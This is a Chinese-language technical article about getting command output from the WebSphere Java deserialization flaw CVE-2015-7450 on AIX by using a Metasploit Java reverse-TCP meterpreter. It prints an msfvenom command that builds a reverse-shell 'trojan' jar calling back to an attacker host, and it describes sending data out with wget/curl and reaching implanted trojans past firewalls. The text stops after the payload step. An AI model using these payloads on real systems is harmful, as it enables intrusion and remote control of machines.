Metasploit中的JAVA反向TCP做法的研究
在研究CVE-2015-7450这个JAVA反序列化漏洞时,面临着一个问题:在WebSphere中,该漏洞仅可以执行命令,但是不能回显执行结果。
遇到这种漏洞,通常的做法都是利用wget或者curl这样的命令来执行一个http请求,将需要的信息送出。但是在我司,这些命令都没法用。原因是我司大量使用的是AIX操作系统,且是不含有任何功能增强的“裸版”。如何在这种环境下回显执行结果,就变得非常重要。
在Google搜索的过程中,发现了一个漏洞利用工程。在该工程的详细介绍中,提到了一种使用metasploit进行shell反弹的做法。研究了该做法后,对于其设计的巧妙深感佩服,遂介绍一下给大家。
1.什么是metasploit
metasploit是一套开源的漏洞利用工具集合和框架。正因为是一个框架,每个人都可以提交利用该框架写的漏洞利用模块。久而久之,该模块库就越来越大,最终形成了一套工具库。关于metasploit在各个系统的安装,这里不再赘述。
2.metasploit中的JAVA反向TCP有什么用
通常,一个漏洞利用,可能会遇到两个讨厌的问题:
以下是代码片段:
1.如前言中所述,我们可以执行某个命令,但是没办法感知命令执行的结果,于是就变成一个只能搞“破坏”,但是无法被利用起来的漏洞 2.或者,我们通过漏洞可以植入木马,但是因为有防火墙,我们没办法主动和木马联络,因为一般防火墙的规则都是禁止入站,但是不防止出站。 |
遇到上述情况,就需要反向TCP连接。所谓反向TCP,就是由木马主动连接服务器,构成一条通路,之后再利用该通路来执行命令,观察输出。
3.metasploit中如何建立JAVA的反向TCP连接
首先,我们用以下命令来生成“木马”
以下是代码片段:
msfvenom --payload= "java/meterpreter/reverse_tcp" LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -t jar > java_meterpreter_reverse_tcp.jar
|